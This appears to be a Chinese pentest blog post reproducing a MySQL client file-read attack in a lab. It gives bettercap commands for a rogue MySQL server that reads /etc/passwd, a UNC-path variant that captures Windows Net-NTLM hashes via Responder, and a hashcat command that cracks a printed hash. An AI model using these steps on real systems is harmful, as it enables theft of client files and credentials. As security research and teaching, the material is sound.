vlambda博客
学习文章列表

【渗透技巧】mysql任意文件读取复现

0x00 原理

mysql的load data local infile函数用于读取客户端的文件并保存在表中,如果攻击者搭建一个伪造的mysql服务器,当有客户端连接这个伪造的mysql服务器时,利用load data local infile函数,攻击者就可以读取客户端主机上的文件。


0x01 实现过程

  • 例如,使用kali(192.168.80.130)连接mysql服务器(192.168.80.140)

mysql -uroot -proot -h192.168.80.140
  • 使用load data local infile函数读取kali的/etc/passwd,并存入mysql.host表中

load data local infile "/etc/passwd" into table mysql.host FIELDS TERMINATED BY '\n';
  • 查看mysql.host表,发现读取成功

0x02 linux系统的利用

如果连接伪造MySQL服务器的客户端在linux上运行,我们可以通过以下方法读取linux系统上的文件。

  • bettercap启动一个伪造的mysql服务器

root@kali:~# bettercap -eval "set mysql.server.infile /etc/passwd; mysql.server on"
  • 当有客户端连接时,能读取到客户端主机上的/etc/passwd文件

mysql -uroot -h192.168.80.130 -p

【渗透技巧】mysql任意文件读取复现

【渗透技巧】mysql任意文件读取复现

0x03 windows系统的利用

INFILE支持使用UNC路径的方式,如果连接伪造MySQL服务器的客户端在Windows上运行,我们可以通过以下方法得到windows的Net-NTLM hash。

  • 使用bettercap启动一个伪造的mysql服务器

root@kali:~# bettercapset mysql.server.infile \\192.168.80.130\testmysql.server on

【渗透技巧】mysql任意文件读取复现

  • 使用responder开启中间人监听

root@kali:~# git clone https://github.com/lgandx/Responder.gitroot@kali:~# cd Responder/root@kali:~/Responder# ./Responder.py -I eth0 -rv
  • 当有客户端使用mysql.exe命令或者使用Navicat连接时,都能获取到他的Net-NTLM hash(不过由于国内运营商封禁了445端口,该利用方式在公网上影响有限)

mysql -uroot -h192.168.80.130 -p

  • 最后可以使用hashcat来破解哈希值,-m 指定hash的类型,5600为NetNTLMv2

root@kali:~# hashcat -m 5600 Administrator::WIN-A3QJ128S93I:c780067f2a0ae7bf:B85AE87F3BBF17DD5960DFAD6075A19B:0101000000000000C0653150DE09D201AB26C0BE9B8FEEB9000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D20106000400020000000800300030000000000000000000000000300000D7006384B53B06B857318D8C05A5C2A66BFC9AFDCD36062540942A9B227E7AE60A001000000000000000000000000000000000000900260063006900660073002F003100390032002E003100360038002E00380030002E00310033003000000000000000000000000000 /root/top100.txt -o rst.txt --force

0x04 影响

  • 一些云服务器控制台的数据迁移功能可能会存在这个漏洞

  • 或者用在蜜罐上读取攻击者的信息

0x05 参考

https://www.colabug.com/2019/0408/5936906/

https://www.anquanke.com/post/id/106488